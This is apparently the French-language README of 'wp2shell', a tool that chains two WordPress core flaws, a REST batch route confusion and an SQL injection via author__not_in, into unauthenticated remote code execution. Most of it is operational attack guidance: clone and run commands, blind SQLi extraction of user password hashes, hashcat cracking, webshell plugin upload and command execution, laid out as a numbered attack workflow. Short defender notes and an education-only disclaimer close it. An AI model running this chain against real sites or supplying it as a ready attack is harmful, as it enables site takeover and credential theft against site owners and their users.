
L'exécution de code à distance (RCE) non authentifiée dans WordPress Core permet aux attaquants d'exécuter du code arbitraire sans se connecter en enchaînant CVE-2026-63030 et CVE-2026-60137, ce qui peut potentiellement mener à une compromission totale du site.
Exécution de code à distance non authentifiée pour le POC du noyau WordPress (CVE-2026-63030 + CVE-2026-60137)
wp2shell est un exploit pour une chaîne de vulnérabilités critiques dans le noyau WordPress. Il combine un bug de confusion de routes batch de l'API REST avec une injection SQL dans WP_Query pour obtenir une exécution de code à distance sans authentification sur les installations WordPress vulnérables.
| Détail | Info |
|---|
| CVEs | CVE-2026-63030 (confusion de routes batch REST) + CVE-2026-60137 (injection SQL author__not_in) |
| Versions affectées | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Versions corrigées | 6.9.5, 7.0.2 |
| Authentification requise | Aucune — sans authentification |
| CVSS | Critique (chaîne RCE) |
| Découvert par | Adam Kues (Assetnote / Searchlight Cyber) |
| Dépendances | Python 3.8+ — bibliothèque standard uniquement |
L'exploit combine deux bugs du noyau WordPress :
CVE-2026-60137 — Injection SQL – Lorsque author__not_in est passé comme chaîne au lieu d'un tableau, WordPress ignore la protection d'assainissement is_array() et interpole la valeur brute dans une clause SQL NOT IN (...).
CVE-2026-63030 — Confusion de routes batch – Le point d'accès /wp-json/batch/v1 construit des tableaux parallèles $matches et $validation. Une sous-requête malformée est ajoutée à $validation mais pas à $matches, ce qui provoque un décalage d'index de +1. La sous-requête i est traitée avec le gestionnaire de la sous-requête i+1.
Combinés : Une requête POST /wp/v2/posts transportant une requête interne GET /wp/v2/users avec une chaîne author_exclude contourne à la fois la liste blanche des méthodes et l'assainissement des entrées. La chaîne atteint WP_Query sous la forme author__not_in et est interpolée dans le SQL — vous obtenez ainsi une injection SQL aveugle sans authentification.
À partir de là, l'outil peut :
| Fonctionnalité | Description |
|---|---|
| Vérification de vulnérabilité | Sonde à délai temporel sûre — ne lit aucune donnée, ne modifie rien |
| Extraction de données | Injection SQL aveugle avec optimisation par recherche binaire pour une extraction efficace |
| Extraction de hash d'utilisateurs | Extraire les hash user_login et user_pass de wp_users |
| Exécution de code à distance | S'authentifier en tant qu'administrateur, téléverser un plugin webshell, exécuter des commandes |
| Shell interactif | Session d'exécution de commandes persistante |
| Sortie colorée | Retour visuel clair pour les résultats d'analyse |
| Aucune dépendance | Utilise uniquement la bibliothèque standard de Python |
git clone https://github.com/lucifer0xf/wp2shell-Wordpress-TOWN.git
cd wp2shell-Wordpress-TOWN
chmod +x wp2shell.py
C'est tout. Aucun paquet tiers requis.
./wp2shell.py <url> [command] [options]
./wp2shell.py http://target.com
Lance un menu interactif avec toutes les fonctionnalités disponibles via des options numérotées.
check — Confirmer la vulnérabilité (sûr)Effectue une sonde à délai temporel pour confirmer l'exploitabilité. Ne lit aucune donnée et ne modifie rien.
./wp2shell.py http://target.com check
read — Extraire des données (injection SQL aveugle)Extrait des informations de la base de données à l'aide d'une injection SQL aveugle basée sur le temps.
# Server fingerprint (version, database, user)
./wp2shell.py http://target.com read
# Extract user logins and password hashes
./wp2shell.py http://target.com read --users
# Extract database name
./wp2shell.py http://target.com read --database
# Extract MySQL version
./wp2shell.py http://target.com read --version
# Custom SQL query
./wp2shell.py http://target.com read --query "SELECT @@version"
shell — Exécution de code à distanceNécessite des identifiants administrateur valides. L'injection SQL peut récupérer le hash du mot de passe, mais vous devez fournir le mot de passe en clair récupéré.
# Execute a single command
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
# Execute a single command (short form)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
| Option | Description |
|---|---|
--users | Extraire user_login et user_pass de wp_users |
--database | Extraire le nom de la base de données actuelle |
--version | Extraire la version de MySQL |
--query "SQL" | Exécuter une requête SQL personnalisée (extraction aveugle) |
--user USER | Nom d'utilisateur administrateur pour le RCE |
--password PASS | Mot de passe administrateur pour le RCE (en clair, récupéré via SQLi) |
--cmd CMD | Commande à exécuter via le webshell |
# 1. Check if the target is vulnerable
./wp2shell.py https://example.com check
# 2. Extract admin password hashes
./wp2shell.py https://example.com read --users
# 3. Crack the hash offline (using hashcat, john, etc.)
# hashcat -m 400 <hash> /path/to/wordlist.txt
# 4. Execute a command with the recovered password
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
| Branche | Affectées | Corrigées |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | 6.8.0 – 6.8.5 (SQLi uniquement, pas de RCE) | 6.8.6 |
Les versions antérieures à 6.9.0 ne sont pas affectées par la chaîne RCE complète.
Pour les défenseurs :
POST /wp-json/batch/v1 avec des corps requests imbriqués404 sur la route batch ne signifie pas toujours « corrigé » — il peut aussi signifier qu'un WAF/CDN bloque l'accès anonyme à l'API RESTCet outil est destiné uniquement à des fins éducatives et de tests de sécurité autorisés.